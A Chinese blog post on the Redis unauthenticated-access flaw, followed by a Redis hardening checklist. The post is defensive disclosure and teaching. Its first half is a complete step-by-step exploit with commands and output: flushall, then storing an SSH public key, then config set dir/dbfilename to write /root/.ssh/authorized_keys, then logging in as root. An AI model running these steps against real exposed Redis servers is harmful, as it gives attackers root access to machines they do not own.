记一个 Redis 安全漏洞和 Redis 安全规范

团队号 redis 作者 Roger Zhuo

去年11月初Redis爆出安全漏洞,远程连接redis在满足一定条件下,可控制redis服务器root权限。最近又有小伙伴中招; 本文介绍这个漏洞的细节和Redis的基本安全规范。

Redis漏洞背景

去年11月antirez(redis’s father)在他博客A few things about Redis security一文详细说明这个问题。暴露的公网(或无访问控制)的redis实例,如果是无或弱密码设置,并且未对config,flushall,[bg]save命令未rename。可以被攻击者通过写redis RDB文件的方式来写SSH公钥,然后可以登陆redis服务器,获得root权限。

利用漏洞获取root过程模拟

场景:攻击者所在sec-client外部服务器,探测到有公网的sec-redis.bj服务器,有一个无密码设置6379的redis实例。攻击者通过连接redis实例,最后获取redis服务器的root权限。
现在攻击者在client服务器不能登陆redis服务器。

[zhuo@sec-client ~]$ ssh root@sec-redis.bj
root@sec-redis.bj's password:
Permission denied, please try again.

client服务器,生成公钥

[zhuo@sec-client ~]$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/zhuo/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/zhuo/.ssh/id_rsa.
Your public key has been saved in /home/zhuo/.ssh/id_rsa.pub.
The key fingerprint is:
ef:b9:f5:34:a6:f4:62:fc:19:f6:46:17:ac:45:3e:72 zhuo@sec-client.bj
The key's randomart image is:
+--[ RSA 2048]----+
|                 |
|               . |
|              +  |
|             . E |
|        S     = o|
|         .   .  o|
|          ..o *..|
|         . ++B =.|
|          +o.o=..|
+-----------------+
把client的公钥写入文件
$cd ~/.ssh/
$(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > rediskey.txt

把client的公钥写入redis服务器/root/.ssh/authorized_keys,获取root权限

清理redis的所有数据(再次强调,别在生产环境尝试)

$ redis-cli  -h sec-redis.bj -p 6379 flushall
OK

把client处理过的公钥文件rediskey.txt,写入redis的个字符串key中

$ cat rediskey.txt | redis-cli  -h sec-redis.bj -p 6379 -x set dangerkey  
OK

修改redis的dir目录设置,和rdb文件的名字dbfilename; 以达到save的rdb文件覆盖写入redis服务器的/root/.ssh/authorized_keys文件

$ redis-cli  -h sec-redis.bj -p 6379
sec-redis.bj:6379> config set dir /root/.ssh/
OK
sec-redis.bj:6379> config set dbfilename "authorized_keys"
OK
sec-redis.bj:6379> save
OK
sec-redis.bj:6379>

完成root权限获取

攻击者可从client登录redis服务器,已获取root权限。当然使用其他账号启动,也存在类似问题

[zhuo@sec-client .ssh]$ hostname
sec-client.bj
[zhuo@sec-client .ssh]$ ssh root@sec-redis.bj
Last login: Mon Jun  6 16:11:35 2016 from xx.xx.xx
[root@c3-sec-redis ~]# hostname
sec-redis.bj

满足以下条件Redis实例存在此安全隐患

加强Redis的安全性,提供以下安全规范。

Redis安全规范

这里列举Redis使用的安全check list.

信任的内网运行,尽量避免有公网访问

redis自身只有一个密码控制访问,不能设置用户权限和IP限制。理论把redis运行在一个信任的网络环境中。

绑定Redis监听的网络接口

如果服务器有多个IP,可限定redis server监听的IP; 通过redis配置项bind,可同时绑定多个IP.

# By default, if no "bind" configuration directive is specified, Redis listens
# for connections from all the network interfaces available on the server.
# It is possible to listen to just one or multiple selected interfaces using
# the "bind" configuration directive, followed by one or more IP addresses.

禁止root用户启动redis

使用普通用户启动,安全性往往高很多;
业务程序永久别用root用户运行。

限制redis文件目录访问权限

设置redis的主目录权限为700;如果redis配置文件独立于redis主目录,权限修改为600,因为Redis密码明文存储在配置文件中。

$chmod 700 /var/lib/redis   #假设这是你redis目录
$chmod 600 /etc/redis/redis.conf  #假设这是你redis配置文件

避免使用熟知端口

程序运行尽量避免使用熟知端口,降低被初级扫描的风险。

开启Redis密码认证,并设置高复杂度密码

redis在redis.conf配置文件中,设置配置项requirepass, 开户密码认证。

$vim /etc/redis/redis.conf  
requirepass ed4c39b015b0e46f074dbfd0a9a4ab278f63340a6d640999f25c68a932fef815

redis因查询效率高,auth这种命令每秒能处理10w次以上,简单的redis的密码极容易为攻击者暴破。
requirepass至少长度20位以上,为方便可使用一个特殊串sha256sum命令生成64位的无特殊字符串。

$echo "dfasdERQEWRQEW31341dfadsfadsf" | sha256sum
af970b3691a0774b2a5adae1375e14cd9e5db3591564f0eb789c2324cc02362f  -

禁用或重命名危险命令

这个漏洞就利用config/save两个命令完成攻击 。 因redis无用户权限限制,建议危险的命令,使用rename配置项进行禁用或重命名,这样外部不了解重命名规则攻击者,就不能执行这类命令。
以下示例:redis.config文件禁用FLUSHDB、FLUSHALL两个命令;重命名CONFIG、SHUTDOWN命令,
添加一个特殊的后缀。 这样redis启动后,只能运行CONFIG_b9fc8327c4dee7命令,不能执行CONFIG命令。

# It is also possible to completely kill a command by renaming it into
# an empty string:
#
rename-command CONFIG CONFIG_b9fc8327c4dee7
rename-command SHUTDOWN SHUTDOWN_b9fc8327c4dee7
rename-command FLUSHDB ""
rename-command FLUSHALL ""

禁止Redis中存储敏感的明文数据

Redis设计旨在提供高性能的KV服务,至少目前在权限访问控制和数据持久化方面比较弱化。所以禁止在Redis中存储或缓存,
敏感的明文数据。

安全监控

Redis Cluster不支持密码问题

Redis 原生Cluster模式最新3.2版本都不支持开启密码认证。
业内很多公司内网使用Cluster只能无密;目前通过前面其他安全设置项来保证,内网Redis Cluster的安全性。
至于未来希望Redis Cluster整个集群实例能支持同一个密码。社区之前对Redis他爸antirez提过,他答复暂不支持

Redis3.2的保护模式

针对之前Redis版本,默认无bind和密码设置存在很大安全风险;Redis3.2版本提出新特性protected mode(保护模式)。
如果Redis在启动时,未开启bind和密码设置功能,只能通过回环地址本地访问,如果尝试远程访问redis,会提示以下错误:

DENIED Redis is running protected mode because protected mode is enabled,
no bind address was specified, no authentication password is requested to clients.
In this mode connections are only accepted from the loopback interface.

当然也可直接执行CONFIG SET protected-mode no,关闭保护模式。
类似这种设置在MongoDB3.2或MySQL5.7的默认安全配置都有。